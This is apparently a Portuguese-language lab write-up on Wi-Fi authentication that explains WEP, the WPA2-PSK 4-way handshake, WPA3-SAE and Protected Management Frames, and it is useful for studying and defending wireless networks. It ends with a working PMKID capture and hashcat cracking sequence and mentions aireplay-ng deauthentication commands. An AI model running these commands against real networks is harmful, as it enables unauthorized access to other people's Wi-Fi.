Estudo aprofundado dos mecanismos de autenticação 802.11: 4-Way Handshake WPA2-PSK, SAE/Dragonfly (WPA3), Protected Management Frames (PMF) e o ataque PMKID sem cliente associado.
Este laboratório analisa os protocolos de segurança Wi-Fi com foco na criptografia, nos mecanismos de autenticação e nas vulnerabilidades de cada geração. O objetivo é compreender por que certos ataques funcionam e como os protocolos mais recentes os mitigam.
| Protocolo | Ano | Autenticação | Criptografia | Vulnerabilidades |
|---|---|---|---|---|
| WEP | 1997 | Open / Shared Key | RC4 (24-bit IV) | IV reutilizável, crack em minutos |
| WPA-TKIP | 2003 | PSK / 802.1X | RC4 + TKIP | TKIP vulnerável, Chopchop attack |
| WPA2-CCMP | 2004 | PSK / 802.1X | AES-128 CCMP | Handshake offline crack, PMKID, DeAuth |
| WPA3-Personal | 2018 | SAE (Dragonfly) | AES-128 CCMP | Forward secrecy, resistente a offline crack |
| WPA3-Enterprise | 2018 | 802.1X + EAP | AES-256 GCMP | Suite B, PMF obrigatório |
A evolução dos protocolos Wi-Fi foi impulsionada pela descoberta de vulnerabilidades em cada geração anterior.
O WEP usa RC4 com vetores de inicialização (IV) de apenas 24 bits. Com tráfego suficiente, IVs se repetem e permitem recuperar a chave por análise estatística. A ferramenta aircrack-ng quebra WEP em menos de 5 minutos com ~50.000 IVs.
# Demonstração: verificar protocolo de um AP
airodump-ng wlan0mon --bssid AA:BB:CC:77:88:99 -c 1
BSSID ENC CIPHER ESSID
AA:BB:CC:77:88:99 WEP OldRouter ← RISCO CRÍTICO
# Calcular espaço de chaves WEP vs WPA2
WEP IV: 2^24 = 16.777.216 combinações → colisão garantida
WPA2 PN: 2^48 → 281 trilhões de combinações → sem colisão prática
O WPA2-PSK deriva a PMK (Pairwise Master Key) a partir da senha e do SSID via PBKDF2-SHA1 (4096 iterações). A PTK (sessão) é derivada via PRF-512 com ANonce, SNonce, MACs do AP e do cliente.
| Chave | Derivação | Papel |
|---|---|---|
| PMK | PBKDF2(passphrase, SSID, 4096, 32) | Chave mestre de 256 bits — derivada da senha |
| PTK | PRF-512(PMK, ANonce, SNonce, MACs) | Chave de sessão — única por associação |
| KCK | PTK[0:16] | Chave de confirmação — usada no MIC do handshake |
| KEK | PTK[16:32] | Chave de encriptação — protege GTK no M3 |
| TK | PTK[32:48] | Chave de tráfego — encripta frames de dados |
| GTK | Gerada pelo AP | Chave de grupo — encripta broadcasts/multicasts |
AP Cliente
│ │
│ ── M1: EAPOL (ANonce) ──────────────────→ │
│ ANonce = nonce aleatório do AP │
│ │
│ (Cliente deriva PTK = PRF(PMK, │
│ ANonce, SNonce, MAC_AP, MAC_Cli)) │
│ │
│ ←── M2: EAPOL (SNonce + MIC) ─────────── │
│ SNonce = nonce aleatório do cliente │
│ MIC = HMAC-SHA1(KCK, M2) ← prova a PMK │
│ │
│ (AP verifica MIC, deriva mesma PTK) │
│ │
│ ── M3: EAPOL (GTK encriptada + MIC) ──→ │
│ GTK encriptada com KEK │
│ │
│ ←── M4: EAPOL (ACK + MIC) ────────────── │
│ Handshake concluído — tráfego inicia │
# Filtro para os 4 frames EAPOL
eapol
# Inspecionar MIC do M2 — campo crítico para crack offline
# Expandir: EAPOL → Key Information → Key MIC
# Verificar se handshake completo (4 mensagens)
tshark -r captura.pcap -Y "eapol" -T fields -e frame.number -e eapol.keydes.key_info | wc -l
4 ← 4 mensagens EAPOL capturadas
O WPA3-Personal substitui o handshake PSK pelo protocolo SAE (Simultaneous Authentication of Equals), baseado no Dragonfly Key Exchange. O SAE provê Perfect Forward Secrecy: mesmo com a senha, não é possível decriptar capturas antigas.
| Aspecto | WPA2-PSK | WPA3-SAE |
|---|---|---|
| Autenticação | Baseada em PMK derivada da senha | Prova de conhecimento zero (DH + senha) |
| Forward Secrecy | Não — captura + senha = decriptação total | Sim — chave de sessão não derivável da senha |
| Offline crack | Possível com handshake + dicionário | Inviável — SAE protege contra ataques offline |
| PMF | Opcional (desde 802.11w-2009) | Obrigatório |
| Transition Mode | — | WPA3-SAE/WPA2 simultâneo para compatibilidade |
# Identificar APs com WPA3 (AKM Suite = SAE)
tshark -r captura.pcap -Y "wlan.fc.type_subtype==8" -T fields -e wlan.ssid -e wlan.rsn.akms.type | grep -E "^.+\s+8$"
# AKM type 8 = SAE (WPA3-Personal)
# AKM type 2 = PSK (WPA2-Personal)
# AKM type 1 = 802.1X (Enterprise)
# Verificar se PMF está obrigatório no AP
# Campo RSN Capabilities: bit 6 (MFPR) = 1 → obrigatório
tshark -r captura.pcap -Y "wlan.fc.type_subtype==8" -T fields -e wlan.ssid -e wlan.rsn.capabilities.mfpr
LabNet3 1 ← PMF obrigatório (WPA3)
LabNet2 0 ← PMF opcional (WPA2)
O PMF protege frames de gerenciamento (Deauthentication, Disassociation) contra falsificação. Sem PMF, qualquer um pode enviar frames de desautenticação forjados — base dos ataques DeAuth.
# Verificar suporte a PMF no adaptador
iw list | grep -A5 "Device supports"
Device supports: AP, station, IBSS, monitor, P2P-GO, P2P-client
HT, VHT, MFP (802.11w)
# Ativar PMF no hostapd (Access Point)
# /etc/hostapd/hostapd.conf
ieee80211w=2 # 0=desabilitado 1=opcional 2=obrigatório
# Efeito do PMF sobre o ataque DeAuth
# Sem PMF: aireplay-ng -0 5 ... → cliente desconecta imediatamente
# Com PMF: aireplay-ng -0 5 ... → cliente ignora o frame falsificado
send_deauth: error: No response from AP — PMF ativo, ataque bloqueado
O PMKID é um identificador derivado da PMK presente no frame EAPOL M1. Diferente do 4-Way Handshake, ele pode ser capturado sem aguardar nenhum cliente se conectar, enviando apenas um Request de associação ao AP.
# Instalação do hcxdumptool e hcxtools
apt install -y hcxdumptool hcxtools hashcat
# Capturar PMKID — solicita associação ao AP (ativo, envia 1 frame)
hcxdumptool -i wlan0mon -o pmkid.pcapng --enable_status=1 --filterlist_ap=bssid.txt
# Converter para formato hashcat
hcxpcapngtool -o hash.hc22000 pmkid.pcapng
# Verificar hash capturado
cat hash.hc22000
WPA*02*4d4fe7aac3a2...ef12*aabbcc112233*ddeeff001122*4c6162574946692d4c6162:...
# Crackear com hashcat + dicionário
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt
4d4fe7aac3a2...ef12:ddeeff001122:aabbcc112233:LabWifi:senha123
# PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AP_MAC || STA_MAC)
# Derivado da PMK → vulnerável se a senha estiver em wordlist